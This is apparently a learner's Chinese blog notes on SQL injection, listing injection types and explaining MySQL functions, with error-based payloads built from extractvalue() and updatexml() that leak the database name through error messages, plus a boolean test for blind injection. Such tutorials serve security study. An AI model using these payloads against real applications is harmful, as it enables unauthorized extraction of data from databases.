SQL注入补充

关于盲注:关闭了回显

可用  id=1 and 1=1

         id=1 and 1=2判断sql语句是否得到执行

目前学习到的注入类型有:Union注入

                                            布尔注入(回显只有yes或者no)

                                            报错注入

                                            时间盲注

                                            堆叠查询注入

                                            二次注入

                                            宽字节注入

                                            Cookie注入攻击

                                            base64注入攻击

                                            XFF注入攻击

函数:

1.BENCHMARK(count,expr)  :将表达式expr执行count次

2.substr():

      substr() 函数返回字符串的一部分。

      注释:如果 start 参数是负数且 length 小于或等于 start,则 length 为 0。

    语法

      substr(string,start,length)

      string:字符串   start:开始处   length:截取长度

3.连接字符串函数

 一、concat()函数
 功能:将多个字符串拼接成一个字符串
 语法:concat(str1,str2,...)
 返回结果为连接参数产生的字符串 如果有任何一个参数为NULL 则返回值NULL

注:-符号 如果参数多的话 需要更多的-符号 因此需要concat_ws()

 二、concat_ws()函数
 功能:一次性指定分隔符
 语法:concat_ws(separator,str1,str2,...)
 说明:第一个参数指定分隔符 分隔符不能为空 如果为NULL 则返回值NULL

  三、group_concat()函数

将group by产生的同一个分组中的值连接起来,返回一个字符串结果。

  group_concat函数首先根据group by指定的列进行分组,将同一组的列显示出来,并且用分隔符分隔。由函数参数(字段名)决定要返回的列

函数语法

group_concat([distinct] 字段名 [order by 排序字段 asc/desc] [separator '分隔符'])

(1)使用distinct可以排除重复值;

(2)如果需要对结果中的值进行排序,可以使用order by子句;

(3)separator是一个字符串值,默认为逗号。

select id,group_concat(distinct price) from goods group by id;

4.extractvalue()

extractvalue() :对XML文档进行查询的函数

其实就是相当于我们熟悉的HTML文件中用 <div><p><a>标签查找元素一样

语法:extractvalue(目标xml文档,xml路径)

第二个参数 xml中的位置是可操作的地方,xml文档中查找字符位置是用 /xxx/xxx/xxx/…这种格式,如果我们写入其他格式,就会报错,并且会返回我们写入的非法格式内容,而这个非法的内容就是我们想要查询的内容。

正常查询 第二个参数的位置格式 为 /xxx/xx/xx/xx ,即使查询不到也不会报错

select username from security.user where id=1 and (extractvalue(‘anything’,’/x/xx’))

使用concat()拼接 ‘  /  ‘ 效果相同,

select username from security.user where id=1 and (extractvalue(‘anything’,concat(‘/’,(select database()))))

这里在’anything’中查询不到 位置是 /database()的内容,

但也没有语法错误,不会报错,下面故意写入语法错误:

select username from security.user where id=1 and (extractvalue(‘anything’,concat(‘~’,(select database()))))

可以看出,以~开头的内容不是xml格式的语法,报错,但是会显示无法识别的内容是什么,这样就达到了目的。

有一点需要注意,extractvalue()能查询字符串的最大长度为32,就是说如果我们想要的结果超过32,就需要用substring()函数截取,一次查看32位

这里查询前5位示意:

select username from security.user where id=1 and (extractvalue(‘anything’,concat(‘#’,substring(hex((select database())),1,5))))

5.

updatexml()

updatexml()函数与extractvalue()类似,是更新xml文档的函数。

语法updatexml(目标xml文档,xml路径,更新的内容)

select username from security.user where id=1 and (updatexml(‘anything’,’/xx/xx’,’anything’))

报错方式相同:

select username from security.user where id=1 and (updatexml(‘anything’,concat(‘~’,(select database())),’anything’))

6.floor函数(报错注入详解)

 https://www.cnblogs.com/N0r4h/p/12799223.html

 

 

  • 0
    点赞
  • 0
    收藏
    觉得还不错? 一键收藏
  • 打赏
    打赏
  • 0
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包

打赏作者

废物小袁

你的鼓励将是我创作的最大动力

¥1 ¥2 ¥4 ¥6 ¥10 ¥20
扫码支付:¥1
获取中
扫码支付

您的余额不足,请更换扫码支付或充值

打赏作者

实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值